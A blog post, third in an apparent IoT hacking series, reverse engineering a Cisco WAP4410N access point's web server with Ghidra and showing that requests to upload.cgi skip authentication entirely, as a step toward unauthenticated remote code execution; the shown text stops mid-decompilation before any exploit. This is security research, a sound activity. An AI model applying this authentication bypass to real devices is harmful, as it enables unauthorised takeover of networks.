Iot Hacking Part 3 (Unauthenticated RCE)

Posted on Sep 7, 2025

I was still warm from landing persistence on the WAP4410N, so I decided to wrap this series with one last push. There’ll be more IoT adventures, but this is the final chapter for this device.

While trying to backdoor the device, it became obvious there was much more to dig up, plenty of sharp edges hiding in plain sight. The next logical step? Go for total control without the WPA2 PSK or admin password. In other words: unauthenticated RCE, the hacker’s holy grail.

That’s exactly what we explore here. Is it possible? (Spoiler: would I be writing this if it wasn’t?) And if a malicious attacker had that level of access, what would they actually do, and what would the fallout look like? There are countless ways to poke at this device. In this post, you’ll follow one of them, end to end. Let’s go.

Recon

By now we’ve done most of the recon we need in the earlier parts. There aren’t many public CVEs to lean on for this box, so if we want to push further we’ll have to rely on our own reverse engineering and dig out fresh exploits ourselves.

The obvious starting point, if we want network access without knowing the PSK, is to break the Wi-Fi security. This thing is old enough that it could very well be vulnerable to attacks against WPA2. A KRACK-style attack is one possibility, but for this round I’m more interested in trying a PMKID attack, conveniently demoed by this young prodigy:

Yes, I know, it’s all in the wonderful language of Swedish. Don’t worry, we’ll walk through the attack step by step later. For now, let’s treat this as the possible first link in our exploit chain… and go hunting for the rest.

Scanning

By now we’re pretty familiar with what this box is running, but just for a quick refresher, here’s what an Nmap scan shows:

┌──(root㉿e36886a2fd40)-[/]
└─# nmap -p- 192.168.1.112
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-06 10:19 UTC
Nmap scan report for 192.168.1.112
Host is up (0.0063s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 12.80 seconds

So nothing surprising here, SSH, HTTP, and HTTPS. We already know about the web-based admin interface on 80/443, and yes, I’ve got SSH enabled in this lab. In a real-world deployment that might not be the case, but it doesn’t change much. The obvious attack surface here is still the HTTP service and its admin panel.

Reverse engineering mini_httpd

We already tore this device apart in part two of the series. That’s when we pulled out the rc binary, dropped it into Ghidra, and mapped out how it ticks. So the heavy lifting is done, if you missed that step (or don’t remember the details), it’s worth going back and skimming part two before continuing.

Back in our trusted NSA companion (a.k.a. Ghidra), we poke around to see how the HTTP service is actually started by rc. Sure enough, we find this little gem:

undefined4 start_httpd(void)

{
  int iVar1;
  undefined4 uVar2;
  undefined4 uVar3;
  undefined1 auStack_28 [32];
  
  create_httpd_cfg();
  getProductName(auStack_28);
  iVar1 = apCfgAutohttpsModeGet();
  if (iVar1 != 0) {
    uVar2 = apCfgHttpsPortGet();
    uVar3 = apCfgHttpPortGet();
    SYSTEM("mini_httpd -S -A -B %ld -p %ld -d /tmp/www -r \"%s\" -c \'*.cgi\' -t %d -i /var/run/mini _httpd.pid&"
           ,uVar2,uVar3,auStack_28,0x708);
    return 0;
  }
  uVar2 = apCfgHttpsPortGet();
  uVar3 = apCfgHttpPortGet();
  SYSTEM("mini_httpd -S -a -B %ld -p %ld -d /tmp/www -r \"%s\" -c \'*.cgi\' -t %d -i /var/run/mini_h ttpd.pid&"
         ,uVar2,uVar3,auStack_28,0x708);
  return 0;
}

So what does this tell us? Pretty simple: the webserver (mini_httpd?) is kicked off straight from rc with a SYSTEM() call. That makes it the next obvious target. Just like before, we use FTP to pull the mini_httpd binary off the device and feed it into Ghidra.

Now, I’ll spare you the nightmare fuel that is main(). Ghidra spits out a pseudo-C monster, 1,300+ lines of tangled logic and nested if statements. It’s not something you read so much as something you survive. For a human, it’s pure horror. For an AI? Well, that’s another story.

This is where things get a little fuzzy. I love following methodical processes and I’m more than happy to share my approach with the community that has given me so much. But when it comes to working through gigantic code blocks with an AI, it’s less like a structured audit and more like fuzzing, only with a sidekick that can chew through mountains of code without blinking.

So, instead of a clean, step-by-step walkthrough, here’s the end result: after hours of combing through logic and bouncing ideas back and forth with the AI, the trail led me to a call deep inside main(), at line 1301, pointing straight at a function called FUN_00405910.


void FUN_00405910(void)

{
  char cVar1;
  bool bVar2;
  char *pcVar3;
  int iVar4;
  size_t sVar5;
  int iVar6;
  __pid_t _Var7;
  void *__addr;
  undefined4 uVar8;
  int iVar9;
  FILE *pFVar10;
  FILE *__stream;
  char *pcVar11;
  char *pcVar12;
  undefined *puVar13;
  int iVar14;
  undefined4 *puVar15;
  uint __n;
  char *__s1;
  int iVar16;
  uint uVar17;
  char acStack_d0b9 [10001];
  char acStack_a9a8 [504];
  char acStack_a7b0 [504];
  char acStack_a5b8 [4];
  char acStack_a5b4 [4];
  char acStack_a5b0 [4];
  char acStack_a5ac [9988];
  char acStack_7ea8 [504];
  char acStack_7cb0 [504];
  stat sStack_7ab8;
  char acStack_7a20 [128];
  sysinfo asStack_79a0 [469];
  undefined1 auStack_430 [1024];
  int iStack_30;
  char *pcStack_2c;
  
  strncpy(acStack_d0b9 + 1,DAT_1000782c,10000);
  pcVar3 = strstr(acStack_d0b9 + 1,"upload.cgi");
  pcVar11 = DAT_10007834;
  if (pcVar3 == (char *)0x0) {
    pcVar3 = strstr(DAT_10007834,"mgt_upgmsg.htm");
    if ((((((pcVar3 == (char *)0x0) &&
           (pcVar3 = strstr(pcVar11,"galert.htm"), pcVar3 == (char *)0x0)) &&
          (pcVar3 = strstr(pcVar11,"index.htm"), pcVar3 == (char *)0x0)) &&
         ((pcVar11 = strstr(pcVar11,"login.htm"), pcVar11 == (char *)0x0 &&
          (pcVar11 = strstr(acStack_d0b9 + 1,".gif"), pcVar11 == (char *)0x0)))) &&
        (pcVar11 = strstr(acStack_d0b9 + 1,".jpg"), pcVar11 == (char *)0x0)) &&
       ((pcVar11 = strstr(acStack_d0b9 + 1,".js"), pcVar11 == (char *)0x0 &&
        (pcVar11 = strstr(acStack_d0b9 + 1,".png"), pcVar11 == (char *)0x0)))) {
      pcVar11 = strstr(acStack_d0b9 + 1,".css");
      if (pcVar11 == (char *)0x0) {
        pcVar11 = strrchr(acStack_d0b9 + 1,0x2f);
        if (pcVar11 == (char *)0x0) {
          acStack_d0b9[1] = '.';
          acStack_d0b9[2] = '\0';
        }
        else {
          *pcVar11 = '\0';
        }
        sVar5 = strlen(acStack_d0b9 + 1);
        if (acStack_d0b9[sVar5] == '/') {
          pcVar11 = "%s%s";
        }
        else {
          pcVar11 = "%s/%s";
        }
        snprintf(acStack_a5b8,10000,pcVar11,acStack_d0b9 + 1,".htpasswd");
        acStack_a5b8[0] = '/';
        acStack_a5b8[1] = 't';
        acStack_a5b8[2] = 'm';
        acStack_a5b8[3] = 'p';
        acStack_a5b4[0] = '/';
        acStack_a5b4[1] = 'h';
        acStack_a5b4[2] = 't';
        acStack_a5b4[3] = 'p';
        acStack_a5ac[0] = 'd';
        acStack_a5ac[1] = '\0';
        acStack_a5b0[0] = 'a';
        acStack_a5b0[1] = 's';
        acStack_a5b0[2] = 's';
        acStack_a5b0[3] = 'w';
        iVar4 = stat(acStack_a5b8,&sStack_7ab8);
        if (iVar4 < 0) {
LAB_00406360:
          iVar4 = strcmp(&DAT_10000060,&DAT_10000160);
          if (iVar4 == 0) {
            iVar4 = FUN_004020d0();
            uVar8 = 1;
            if (iVar4 != 0) goto LAB_0040697c;
          }
          else {
            syslog(6,"Administrator login successful - IP:%s");
          }
LAB_004063a8:
          _Var7 = getppid();
          kill(_Var7,0x11);
        }
        else {
          iVar4 = needPassword(acStack_a5b8,&DAT_1000167c);
          if (iVar4 == 0) goto LAB_00406360;
          DAT_100014e0 = 0;
          memset(acStack_7cb0,0,500);
          memset(acStack_7ea8,0,500);
          pcVar11 = acStack_7a20;
          memset(pcVar11,0,0x80);
          if (DAT_10007854 == 0) {
LAB_004065f4:
            DAT_100014e0 = 1;
            iVar4 = FUN_004020d0();
            if (iVar4 != 0) {
              pcVar11 = strstr(DAT_10007834,"next_file=");
              bVar2 = false;
              if (((pcVar11 == (char *)0x0) || (pcVar3 = pcVar11 + 10, pcVar3 == (char *)0x0)) ||
                 (pFVar10 = fopen("/tmp/nextpage","w"), pFVar10 == (FILE *)0x0)) {
LAB_004066cc:
                uVar8 = 1;
              }
              else {
                pcVar12 = strstr(pcVar3,"WClientMACList.htm");
                if (pcVar12 == (char *)0x0) {
                  pcVar12 = strstr(pcVar3,"SiteSurvey.htm");
                  if (((pcVar12 != (char *)0x0) ||
                      (pcVar12 = strstr(pcVar3,"SurveyWait.htm"), pcVar12 != (char *)0x0)) ||
                     (pcVar12 = strstr(pcVar3,"RogueLegal.htm"), pcVar12 != (char *)0x0)) {
                    pcVar11 = "ApMode.htm";
                    sVar5 = 10;
                    goto LAB_004066a0;
                  }
                  pcVar12 = strstr(pcVar3,"log_data.htm");
                  if (pcVar12 != (char *)0x0) {
                    pcVar11 = "Log.htm";
                    sVar5 = 7;
                    goto LAB_004066a0;
                  }
                  pcVar12 = strstr(pcVar3,"Ping.htm");
                  if (pcVar12 != (char *)0x0) {
                    pcVar11 = "Diagnostics.htm";
                    sVar5 = 0xf;
                    goto LAB_004066a0;
                  }
                  pcVar12 = strstr(pcVar3,"help/h_");
                  bVar2 = pcVar12 != (char *)0x0;
                  if (bVar2) {
                    pcVar3 = pcVar11 + 0x11;
                  }
                  if (pcVar3 != (char *)0x0) {
                    fputs(pcVar3,pFVar10);
                  }
                }
                else {
                  pcVar11 = "WMACFilter.htm";
                  sVar5 = 0xe;
LAB_004066a0:
                  fwrite(pcVar11,1,sVar5,pFVar10);
                }
                fclose(pFVar10);
                if (!bVar2) goto LAB_004066cc;
                uVar8 = 2;
              }
              FUN_00403830(uVar8);
            }
            FUN_00403830(0);
          }
          else {
            strcpy(pcVar11,(char *)DAT_10007854);
            pcVar3 = strstr(pcVar11,"LoginPWD=");
            if ((pcVar3 == (char *)0x0) || (pcVar12 = pcVar3 + 9, pcVar3[9] == '\0'))
            goto LAB_004065f4;
            pcVar3 = strchr(pcVar12,0x3b);
            if (pcVar3 != (char *)0x0) {
              *pcVar3 = '\0';
              pcVar11 = pcVar3 + 1;
            }
            nsldapi_hex_unescape(pcVar12);
            FUN_0040258c(pcVar12,acStack_7ea8,499);
            pcVar11 = strstr(pcVar11,"LoginName=");
            if ((pcVar11 == (char *)0x0) || (pcVar3 = pcVar11 + 10, pcVar11[10] == '\0'))
            goto LAB_004065f4;
            pcVar11 = strchr(pcVar3,0x3b);
            if (pcVar11 != (char *)0x0) {
              *pcVar11 = '\0';
            }
            nsldapi_hex_unescape(pcVar3);
            FUN_0040258c(pcVar3,acStack_7cb0,499);
          }
          pFVar10 = fopen(acStack_a5b8,"r");
          if (pFVar10 == (FILE *)0x0) {
            FUN_0040424c(0x193,"Forbidden",&DAT_0040ff90,"File is protected.");
          }
          while (pcVar11 = fgets(&DAT_1000167c,10000,pFVar10), pcVar11 != (char *)0x0) {
            sVar5 = strlen(&DAT_1000167c);
            if ((&DAT_1000167b)[sVar5] == '\n') {
              (&DAT_1000167b)[sVar5] = 0;
            }
            pcVar11 = strchr(PTR_DAT_1000001c,0x3a);
            puVar13 = PTR_DAT_1000001c;
            if (pcVar11 != (char *)0x0) {
              *pcVar11 = '\0';
              iVar4 = strcmp(puVar13,acStack_7cb0);
              if (iVar4 == 0) {
                sysinfo(asStack_79a0);
                fclose(pFVar10);
                iVar4 = strcmp(acStack_7ea8,pcVar11 + 1);
                if (iVar4 == 0) {
                  iVar4 = FUN_004020d0();
                  if (iVar4 != 0) {
                    pcVar11 = strstr(DAT_10007834,"next_file=");
                    bVar2 = false;
                    if (pcVar11 == (char *)0x0) {
LAB_00406a94:
                      uVar8 = 1;
                    }
                    else {
                      pcVar3 = pcVar11 + 10;
                      uVar8 = 1;
                      if (pcVar3 != (char *)0x0) {
                        pFVar10 = fopen("/tmp/nextpage","w");
                        if (pFVar10 == (FILE *)0x0) goto LAB_00406a94;
                        pcVar12 = strstr(pcVar3,"WClientMACList.htm");
                        if (pcVar12 == (char *)0x0) {
                          pcVar12 = strstr(pcVar3,"SiteSurvey.htm");
                          if (((pcVar12 != (char *)0x0) ||
                              (pcVar12 = strstr(pcVar3,"SurveyWait.htm"), pcVar12 != (char *)0x0))
                             || (pcVar12 = strstr(pcVar3,"RogueLegal.htm"), pcVar12 != (char *)0x0))
                          {
                            pcVar11 = "ApMode.htm";
                            sVar5 = 10;
                            goto LAB_00406a6c;
                          }
                          pcVar12 = strstr(pcVar3,"log_data.htm");
                          if (pcVar12 != (char *)0x0) {
                            pcVar11 = "Log.htm";
                            sVar5 = 7;
                            goto LAB_00406a6c;
                          }
                          pcVar12 = strstr(pcVar3,"Ping.htm");
                          if (pcVar12 != (char *)0x0) {
                            pcVar11 = "Diagnostics.htm";
                            sVar5 = 0xf;
                            goto LAB_00406a6c;
                          }
                          pcVar12 = strstr(pcVar3,"help/h_");
                          bVar2 = pcVar12 != (char *)0x0;
                          if (bVar2) {
                            pcVar3 = pcVar11 + 0x11;
                          }
                          if (pcVar3 != (char *)0x0) {
                            fputs(pcVar3,pFVar10);
                          }
                        }
                        else {
                          pcVar11 = "WMACFilter.htm";
                          sVar5 = 0xe;
LAB_00406a6c:
                          fwrite(pcVar11,1,sVar5,pFVar10);
                        }
                        fclose(pFVar10);
                        uVar8 = 2;
                        if (!bVar2) goto LAB_00406a94;
                      }
                    }
                    FUN_00403830(uVar8);
                  }
                  pcVar11 = strstr(DAT_10007834,"Home.htm");
                  if ((pcVar11 != (char *)0x0) && (iVar4 = access("/tmp/nextpage",0), iVar4 == 0)) {
                    FUN_00403830(3);
                  }
                  AddLOGFlag();
                  DAT_10007868 = &DAT_1000167c;
                  goto LAB_004063a8;
                }
                DAT_100014e0 = 1;
                iVar4 = FUN_004020d0();
                if (iVar4 != 0) {
                  pcStack_2c = strstr(DAT_10007834,"next_file=");
                  iStack_30 = 0;
                  if (pcStack_2c == (char *)0x0) {
LAB_0040693c:
                    uVar8 = 1;
                  }
                  else {
                    pcVar11 = pcStack_2c + 10;
                    uVar8 = 1;
                    if (pcVar11 != (char *)0x0) {
                      __stream = fopen("/tmp/nextpage","w");
                      if (__stream == (FILE *)0x0) goto LAB_0040693c;
                      pcVar3 = strstr(pcVar11,"WClientMACList.htm");
                      if (pcVar3 == (char *)0x0) {
                        pcVar3 = strstr(pcVar11,"SiteSurvey.htm");
                        if (((pcVar3 != (char *)0x0) ||
                            (pcVar3 = strstr(pcVar11,"SurveyWait.htm"), pcVar3 != (char *)0x0)) ||
                           (pcVar3 = strstr(pcVar11,"RogueLegal.htm"), pcVar3 != (char *)0x0)) {
                          pcVar11 = "ApMode.htm";
                          sVar5 = 10;
                          goto LAB_00406904;
                        }
                        pcVar3 = strstr(pcVar11,"log_data.htm");
                        if (pcVar3 != (char *)0x0) {
                          pcVar11 = "Log.htm";
                          sVar5 = 7;
                          goto LAB_00406904;
                        }
                        pcVar3 = strstr(pcVar11,"Ping.htm");
                        if (pcVar3 != (char *)0x0) {
                          pcVar11 = "Diagnostics.htm";
                          sVar5 = 0xf;
                          goto LAB_00406904;
                        }
                        pcVar3 = strstr(pcVar11,"help/h_");
                        if (pcVar3 != (char *)0x0) {
                          pcVar11 = pcStack_2c + 0x11;
                          iStack_30 = 1;
                        }
                        if (pcVar11 != (char *)0x0) {
                          fputs(pcVar11,__stream);
                        }
                      }
                      else {
                        pcVar11 = "WMACFilter.htm";
                        sVar5 = 0xe;
LAB_00406904:
                        fwrite(pcVar11,1,sVar5,__stream);
                      }
                      fclose(__stream);
                      uVar8 = 2;
                      if (iStack_30 == 0) goto LAB_0040693c;
                    }
                  }
                  FUN_00403830(uVar8);
                }
                FUN_00403830(0);
              }
            }
          }
          fclose(pFVar10);
          uVar8 = 0;
LAB_0040697c:
          FUN_00403830(uVar8);
        }
        goto LAB_00405990;
      }
    }
    pcVar11 = strstr(DAT_10007834,"login.htm");
    if (pcVar11 != (char *)0x0) {
      _Var7 = getppid();
      kill(_Var7,1);
    }
  }
LAB_00405990:
  pcVar11 = DAT_1000782c;
  iVar4 = strcmp(DAT_1000782c,".htpasswd");
  if (iVar4 == 0) {
LAB_00405be8:
    uVar8 = FUN_0040316c(&DAT_10007730);
    syslog(5,"%.80s URL \"%.80s\" tried to retrieve an auth file",uVar8,DAT_100077c4);
    FUN_0040424c(0x193,"Forbidden",&DAT_0040ff90,"File is protected.");
  }
  else {
    sVar5 = strlen(pcVar11);
    iVar4 = strcmp(pcVar11 + (sVar5 - 9),".htpasswd");
    if ((iVar4 == 0) && (pcVar11[sVar5 - 10] == '/')) goto LAB_00405be8;
  }
  if (DAT_100064dc != 0) {
    if (((DAT_10007860 == (char *)0x0) || (*DAT_10007860 == '\0')) ||
       (pcVar11 = strstr(DAT_10007860,"//"), pcVar11 == (char *)0x0)) {
      if (DAT_100064e0 != 0) goto LAB_004060b0;
    }
    else {
      cVar1 = pcVar11[2];
      pcVar11 = pcVar11 + 2;
      pcVar3 = pcVar11;
      if ((cVar1 != '/') && (cVar1 != ':')) {
        while (cVar1 != '\0') {
          pcVar3 = pcVar3 + 1;
          cVar1 = *pcVar3;
          if ((cVar1 == '/') || (cVar1 == ':')) break;
        }
      }
      pcVar12 = (char *)FUN_004028fc(pcVar3 + (1 - (int)pcVar11));
      for (; pcVar11 < pcVar3; pcVar11 = pcVar11 + 1) {
        iVar4 = *pcVar11 * 2;
        if ((*(ushort *)(iVar4 + __ctype_b) & 1) == 0) {
          *pcVar12 = *pcVar11;
        }
        else {
          *pcVar12 = (char)*(undefined2 *)(iVar4 + __ctype_tolower);
        }
        pcVar12 = pcVar12 + 1;
      }
      *pcVar12 = '\0';
      puVar13 = DAT_100064e4;
      if (DAT_100064e4 == (undefined *)0x0) {
        puVar13 = DAT_10007844;
        if (DAT_100064d0 == 0) {
          puVar13 = DAT_100064e8;
        }
        if (puVar13 == (undefined *)0x0) goto LAB_00405a44;
      }
      iVar4 = match(puVar13);
      if (iVar4 == 0) {
LAB_004060b0:
        iVar4 = match(DAT_100064dc,DAT_100077c4);
        if (iVar4 != 0) {
          if ((DAT_100064d0 == 0) || (puVar13 = DAT_10007844, DAT_10007844 == (undefined *)0x0)) {
            puVar13 = DAT_100064e8;
          }
          if (puVar13 == (undefined *)0x0) {
            puVar13 = &DAT_0040ff90;
          }
          uVar8 = FUN_0040316c(&DAT_10007730);
          syslog(6,"%.80s non-local referer \"%.80s%.80s\" \"%.80s\"",uVar8,puVar13,DAT_100077c4,
                 DAT_10007860);
          FUN_0040424c(0x193,"Forbidden",&DAT_0040ff90,"You must supply a local referer.");
        }
      }
    }
  }
LAB_00405a44:
  if ((DAT_100064d8 != 0) && (iVar4 = match(DAT_100064d8,DAT_1000782c), iVar4 != 0)) {
    FUN_00404678();
    return;
  }
  if (DAT_10007830 != 0) {
    FUN_0040424c(0x194,"Not Found",&DAT_0040ff90,"File not found.");
  }
  iVar4 = open(DAT_1000782c,0);
  if (iVar4 < 0) {
    uVar8 = FUN_0040316c(&DAT_10007730);
    syslog(6,"%.80s File \"%.80s\" is protected",uVar8,DAT_100077c4);
    FUN_0040424c(0x193,"Forbidden",&DAT_0040ff90,"File is protected.");
  }
  pcVar11 = DAT_1000782c;
  acStack_a9a8[0] = '\0';
  sVar5 = strlen(DAT_1000782c);
  uVar17 = 0;
  pcVar3 = pcVar11 + sVar5;
  while( true ) {
    pcVar12 = pcVar3 + -1;
    bVar2 = pcVar12 < pcVar11;
    if (bVar2) break;
    cVar1 = pcVar3[-1];
    while (cVar1 != '.') {
      pcVar12 = pcVar12 + -1;
      bVar2 = pcVar12 < pcVar11;
      if (bVar2) goto LAB_00405e80;
      cVar1 = *pcVar12;
    }
    __s1 = pcVar12 + 1;
    if (bVar2) break;
    __n = (int)pcVar3 - (int)__s1;
    iVar14 = 0;
    puVar15 = (undefined4 *)PTR_PTR_10000020;
    if (DAT_10000268 < 1) {
LAB_00406488:
      iVar6 = DAT_10000264 + -1;
      iVar16 = 0;
      iVar14 = iVar6;
      if (-1 < iVar6) goto LAB_004064c8;
      break;
    }
    while ((iVar14 = iVar14 + 1, puVar15[1] != __n ||
           (iVar6 = strncasecmp(__s1,(char *)*puVar15,__n), iVar6 != 0))) {
      puVar15 = puVar15 + 4;
      if (DAT_10000268 <= iVar14) goto LAB_00406488;
    }
    if ((acStack_a9a8[0] != '\0') && (uVar17 + 1 < 500)) {
      acStack_a9a8[uVar17 + 1] = '\0';
      acStack_a9a8[uVar17] = ';';
      uVar17 = uVar17 + 1;
    }
    pcVar3 = pcVar12;
    if (puVar15[3] + uVar17 < 500) {
      strcpy(acStack_a9a8 + uVar17,(char *)puVar15[2]);
      uVar17 = uVar17 + puVar15[3];
    }
  }
LAB_00405e80:
  pcVar11 = "text/plain; charset=%s";
LAB_00405e8c:
  snprintf(acStack_a7b0,500,pcVar11,DAT_100066e8);
  FUN_00403a14(200,&DAT_004100cc,&DAT_0040ff90,acStack_a9a8,acStack_a7b0,sb._52_4_,sb._68_4_);
  FUN_00402cf4();
  uVar8 = sb._52_4_;
  iVar14 = DAT_1000772c;
  if (DAT_100077c0 != 2) {
    if (0 < (int)sb._52_4_) {
      if (DAT_100064b0 == 0) {
        while (sVar5 = read(iVar4,auStack_430,0x400), sVar5 != 0) {
          write(iVar14,auStack_430,sVar5);
          usleep(1);
        }
      }
      else {
        __addr = mmap((void *)0x0,sb._52_4_,1,2,iVar4,0);
        if (__addr != (void *)0xffffffff) {
          FUN_00402bf8(__addr,uVar8);
          munmap(__addr,uVar8);
          close(iVar4);
          return;
        }
      }
    }
    close(iVar4);
  }
  return;
LAB_004064c8:
  do {
    iVar6 = iVar6 / 2;
    iVar9 = strncasecmp(__s1,(&PTR_s_html_10000710)[iVar6 * 4],__n);
    if (iVar9 < 0) {
LAB_00406500:
      iVar14 = iVar6 + -1;
    }
    else if (iVar9 < 1) {
      if (__n < (uint)(&DAT_10000714)[iVar6 * 4]) goto LAB_00406500;
      iVar16 = iVar6 + 1;
      if (__n <= (uint)(&DAT_10000714)[iVar6 * 4]) {
        pcVar11 = (&PTR_s_text/html;_charset=%s_10000718)[iVar6 * 4];
        goto LAB_00405e8c;
      }
    }
    else {
      iVar16 = iVar6 + 1;
    }
    iVar6 = iVar14 + iVar16;
  } while (iVar16 <= iVar14);
  goto LAB_00405e80;
}

From here it was a more straight approach. I asked the AI to help me make the pseudo code just a bit more readable.

void handle_request(void) {
    const char *req_path  = DAT_1000782c;     // normalized filesystem target (e.g. "./index.htm")
    const char *req_query = DAT_10007834;     // original URL / query bits
    const char *cookie    = DAT_10007854;     // "Cookie:" header value
    const char *referer   = DAT_10007860;     // "Referer:" header value

    // 1) If this is upload.cgi → skip auth handling entirely
    if (strstr(req_path, "upload.cgi")) {
        // Small side effect: if URL contains "login.htm" → signal parent with SIGHUP (1)
        if (strstr(req_query, "login.htm")) {
            kill(getppid(), SIGHUP);
        }
        goto AUTH_DONE; // continue with normal serving below
    }

    // 2) Decide whether to enforce auth for this request
    //    Exempt obvious static assets and a few specific pages.
    bool is_static =
        strstr(req_query, "mgt_upgmsg.htm") ||
        strstr(req_query, "galert.htm")     ||
        strstr(req_query, "index.htm")      ||
        strstr(req_query, "login.htm")      ||
        strstr(req_path,  ".gif")           ||
        strstr(req_path,  ".jpg")           ||
        strstr(req_path,  ".js")            ||
        strstr(req_path,  ".png")           ||
        strstr(req_path,  ".css");

    if (!is_static) {
        // Build auth file path. Effective target is /tmp/.htpasswd.
        const char *auth_path = "/tmp/.htpasswd";

        if (stat(auth_path, &st) < 0) {
            // No auth file: fall back to "one admin at a time" logic
            // If same source IP as the recorded admin, try to keep session alive,
            // else log "Administrator login successful - IP:%s".
            if (strcmp(DAT_10000060, DAT_10000160) == 0) {
                if (lockout_check()) {         // FUN_004020d0()
                    set_nextpage_and_respond(1); // 302 to next_file=... (see below)
                }
            } else {
                syslog(LOG_INFO, "Administrator login successful - IP:%s");
            }
            // Notify parent httpd (SIGUSR1) a login event happened
            kill(getppid(), SIGUSR1);
        } else {
            // Auth file exists → enforce credentials from cookie
            // Parse Cookie: extract url-decoded LoginName / LoginPWD
            char user[500] = {0}, pass[500] = {0};
            if (!cookie) {
                // No cookie → send the same "nextpage" dance if lockout says so
                require_login_via_nextpage();
            } else {
                parse_cookie_kv(cookie, "LoginPWD", pass, sizeof(pass)); // hex-unescapes
                parse_cookie_kv(cookie, "LoginName", user, sizeof(user));
            }

            // Open and scan /tmp/.htpasswd, compare "user:pass" line
            FILE *fp = fopen(auth_path, "r");
            if (!fp) forbidden("File is protected.");
            char line[10000];
            while (fgets(line, sizeof(line), fp)) {
                chomp(line);
                char *colon = strchr(line, ':');
                if (!colon) continue;
                *colon = '\0';
                if (!strcmp(line, user)) {
                    fclose(fp);
                    if (!strcmp(colon + 1, pass)) {
                        // Correct credentials
                        if (lockout_check()) {
                            // Optionally prepare /tmp/nextpage for post-login redirect
                            // If URL had "next_file=", write a target like ApMode.htm, Log.htm, Diagnostics.htm,
                            // or copy the requested help page path.
                            write_nextpage_from_query(req_query);
                            set_nextpage_and_respond( /*1 or 2 depending on help-page*/ );
                        }

                        // If landing on Home.htm and /tmp/nextpage exists, emit a special flow ("3")
                        if (strstr(req_query, "Home.htm") && access("/tmp/nextpage", F_OK) == 0) {
                            set_nextpage_and_respond(3);
                        }

                        AddLOGFlag();
                        DAT_10007868 = line;  // remember the matched auth line
                        // Notify parent httpd (SIGUSR1)
                        kill(getppid(), SIGUSR1);
                        break;
                    }

                    // Wrong password:
                    DAT_100014e0 = 1;
                    if (lockout_check()) {
                        // Same "nextpage" dance as above, but for failed login
                        write_nextpage_from_query(req_query);
                        set_nextpage_and_respond( /*1 or 2*/ );
                    }
                    set_nextpage_and_respond(0); // generic failure flow
                }
            }
            fclose(fp);
            // If we fell through without match: send generic failure flow
            set_nextpage_and_respond(0);
        }
    }

AUTH_DONE:

    // 3) Reject attempts to read the auth file directly
    if (!strcmp(req_path, ".htpasswd") ||
        (ends_with(req_path, "/.htpasswd"))) {
        syslog(LOG_NOTICE, "%s URL \"%s\" tried to retrieve an auth file",
              client_str(&DAT_10007730), DAT_100077c4);
        forbidden("File is protected.");
    }

    // 4) Optional Referer policy: require local referer if configured
    if (DAT_100064dc /*urlpat*/ != NULL) {
        if (!referer || !strstr(referer, "//")) {
            if (DAT_100064e0 /*noemptyreferers*/ != 0) {
                enforce_local_referer_or_403();
            }
        } else {
            // Extract host from Referer, lower-case it, and match against local host pattern
            char hostbuf[...]; lowercase_extract_host(referer, hostbuf);
            const char *localpat = DAT_100064e4 ? DAT_100064e4
                                 : (DAT_100064d0 ? DAT_10007844  // vhost Host:
                                                  : DAT_100064e8); // server hostname
            if (localpat && !match(localpat, hostbuf)) {
                // If URL itself matches urlpat, then require local referer
                if (match(DAT_100064dc, DAT_100077c4)) {
                    log_non_local_referer_and_403(localpat, req_query, referer);
                }
            }
        }
    }

    // 5) If path matches the CGI pattern → run CGI
    if (DAT_100064d8 /*cgipat*/ && match(DAT_100064d8, req_path)) {
        run_cgi();
        return;
    }

    // 6) Serve static file
    if (DAT_10007830 /*parent dir missing*/ != 0) {
        not_found("File not found.");
    }

    int fd = open(req_path, O_RDONLY);
    if (fd < 0) {
        syslog(LOG_INFO, "%s File \"%s\" is protected",
               client_str(&DAT_10007730), DAT_100077c4);
        forbidden("File is protected.");
    }

    // Guess Content-Type from extension map; otherwise text/plain; charset=<default>
    const char *ctype = guess_content_type(req_path, DAT_100066e8 /*charset*/);

    // Emit headers
    send_headers(200, "OK", /*server*/ &DAT_0040ff90,
                 /*extra headers (Content-Type for known types)*/ ctype,
                 /*length*/ sb.st_size,
                 /*mtime*/  sb.st_mtime);

    // Write body
    if (DAT_100077c0 != 2 /*not HEAD*/) {
        if (!DAT_100064b0 /*plain HTTP*/) {
            char buf[1024];
            ssize_t n;
            while ((n = read(fd, buf, sizeof(buf))) > 0) {
                write(DAT_1000772c /*client fd*/, buf, n);
                usleep(1);
            }
        } else {
            // HTTPS path: mmap and SSL-write
            void *p = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
            if (p != MAP_FAILED) {
                ssl_write_all(p, sb.st_size);
                munmap(p, sb.st_size);
            }
        }
    }
    close(fd);
}

There’s still plenty to unpack here, but then I stumbled across this little gem and just went: WTF is this?!


    // 1) If this is upload.cgi → skip auth handling entirely
    if (strstr(req_path, "upload.cgi")) {
        // Small side effect: if URL contains "login.htm" → signal parent with SIGHUP (1)
        if (strstr(req_query, "login.htm")) {
            kill(getppid(), SIGHUP);
        }
        goto AUTH_DONE; // continue with normal serving below
    }

Yep, you read that right. If the request path is upload.cgi, the authentication check is skipped altogether. No login required. That smells like a wide-open door. Time to grab that upload.cgi binary from the device and take a closer look.

Reverse engineering mini_httpd

undefined4 main(void)

{
  int iVar1;
  
  sc_dbg("%s:%s():%d:before upldFileValid()\n","main_upload.c",&DAT_00403960,0x27e);
  iVar1 = upldFileValid();
  if (-1 < iVar1) {
    sc_dbg("%s:%s():%d:before upldFileRead()\n","main_upload.c",&DAT_00403960,0x284);
    iVar1 = upldFileRead();
    if (iVar1 < 0) {
      showMsgAndExit(0);
    }
    else {
      sc_dbg("%s:%s():%d:before upldFileCleanup()\n","main_upload.c",&DAT_00403960,0x289);
      upldFileCleanup();
      sc_dbg("%s:%s():%d:after upldFileCleanup()\n","main_upload.c",&DAT_00403960,0x28b);
    }
  }
  return 0;
}

This main is actually approachable. Let’s follow the thread into upldFileRead() and see what it’s doing:


undefined4 upldFileRead(void)

{
  int iVar1;
  undefined4 *puVar2;
  undefined4 uVar3;
  undefined4 uVar4;
  undefined4 uVar5;
  undefined4 uVar6;
  undefined4 *puVar7;
  uint uVar8;
  undefined4 *puVar9;
  uint uVar10;
  undefined4 *puVar11;
  undefined4 local_c0a8 [32];
  undefined4 auStack_c028 [12288];
  undefined1 local_28;
  
  uVar10 = DAT_100002a0;
  iVar1 = access("/var/wap4410n.img",0);
